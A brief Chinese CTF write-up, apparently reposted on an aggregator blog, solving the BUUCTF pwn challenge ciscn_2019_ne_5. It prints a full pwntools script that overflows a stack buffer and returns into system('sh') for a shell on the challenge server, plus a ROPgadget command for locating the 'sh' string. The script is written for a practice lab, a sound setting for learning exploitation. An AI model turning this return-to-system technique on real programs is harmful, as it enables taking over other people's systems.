先點進去 cat flag 說了 在 1 log中

from pwn import* r=remote('node3.buuoj.cn',26204) sys=0x80486b9 sh=0x080482ea r.sendlineafter("Please input admin password:",administrator) r.sendlineafter("0.Exit\n:",1) payload='a'*(0x48+4)+p32(sys)+p32(sh) r.sendlineafter("Please input new log info:",payload) r.sendlineafter("0.Exit\n:",4) r.interactive()

這道題只給了 sys的地址, 那么 ‘bin/sh’ ‘sh’ 可能也是存在的;

手動查找一下其地址

命令ROPgadget --binary 文件 --string 'sh'

總結

以上是生活随笔為你收集整理的BUUCTF(pwn)ciscn_2019_ne_5的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。